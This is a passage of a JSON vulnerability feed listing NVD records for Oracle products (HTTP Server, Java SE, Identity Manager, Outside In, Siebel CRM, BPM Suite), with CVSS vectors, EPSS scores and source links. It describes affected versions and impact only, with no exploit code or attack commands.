attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91433","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91433","type":"primary","publishedAt":"2026-10-20T22:20:46.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91433&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91433, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91419","cveId":"CVE-2026-91419","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).","summary":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: OSSL Module).   The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle HTTP Server executes to compromise Oracle HTTP Server.  Successful attacks of this vulnerability can result in takeover of Oracle HTTP Server. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:45.303Z","updatedAt":"2026-10-23T21:17:25.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91419","asOf":"2026-10-23T21:17:25.803Z"},"epss":{"probability":0.00145,"percentile":0.03734,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91419&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91419","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91419","type":"primary","publishedAt":"2026-10-20T22:20:45.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91419&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91419, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91415","cveId":"CVE-2026-91415","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).","summary":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).  Supported versions that are affected are Oracle Java SE: 8u503, 8u503-perf, 11.0.32.1, 17.0.20.1, 21.0.12.1, 25.0.4.1, 27; Oracle GraalVM for JDK: 17.0.20.1 and  21.0.12.1; Oracle GraalVM Enterprise Edition: 21.3.19.1.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).","detail":"Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: 2D).  Supported versions that are affected are Oracle Java SE: 8u503, 8u503-perf, 11.0.32.1, 17.0.20.1, 21.0.12.1, 25.0.4.1, 27; Oracle GraalVM for JDK: 17.0.20.1 and  21.0.12.1; Oracle GraalVM Enterprise Edition: 21.3.19.1.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition as well as  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data and  unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:44.937Z","updatedAt":"2026-10-23T21:17:25.677Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle","Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91415","asOf":"2026-10-23T21:17:25.677Z"},"epss":{"probability":0.00239,"percentile":0.14854,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91415&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91415","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91415","type":"primary","publishedAt":"2026-10-20T22:20:44.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91415&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91415, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91407","cveId":"CVE-2026-91407","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).","summary":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:44.040Z","updatedAt":"2026-10-23T20:17:29.117Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91407","asOf":"2026-10-23T20:17:29.117Z"},"epss":{"probability":0.00418,"percentile":0.35803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91407&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91407","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91407","type":"primary","publishedAt":"2026-10-20T22:20:44.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91407&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91407, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91406","cveId":"CVE-2026-91406","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:43.920Z","updatedAt":"2026-10-23T20:17:29.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91406","asOf":"2026-10-23T20:17:29.010Z"},"epss":{"probability":0.00361,"percentile":0.29565,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91406","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91406","type":"primary","publishedAt":"2026-10-20T22:20:43.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91405","cveId":"CVE-2026-91405","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In PDF Export SDK).   The supported version that is affected is 8.5.8. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:43.810Z","updatedAt":"2026-10-23T20:17:28.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91405","asOf":"2026-10-23T20:17:28.903Z"},"epss":{"probability":0.00281,"percentile":0.20452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91405","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91405","type":"primary","publishedAt":"2026-10-20T22:20:43.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91377","cveId":"CVE-2026-91377","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration).","summary":"Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration).  Supported versions that are affected are 25.12-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Integration accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration).  Supported versions that are affected are 25.12-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Integration accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:40.773Z","updatedAt":"2026-10-21T18:45:11.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91377","asOf":"2026-10-21T18:45:11.277Z"},"epss":{"probability":0.00303,"percentile":0.22816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91377","type":"primary","publishedAt":"2026-10-20T22:20:40.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91358","cveId":"CVE-2026-91358","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Case management  Service (11g+)).","summary":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Case management  Service (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Case management  Service (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:38.527Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91358","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00339,"percentile":0.27066,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91358","type":"primary","publishedAt":"2026-10-20T22:20:38.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91355","cveId":"CVE-2026-91355","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:38.147Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91355","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00164,"percentile":0.05597,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91355&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91355","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91355","type":"primary","publishedAt":"2026-10-20T22:20:38.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91355&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91355, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91353","cveId":"CVE-2026-91353","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).","summary":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: 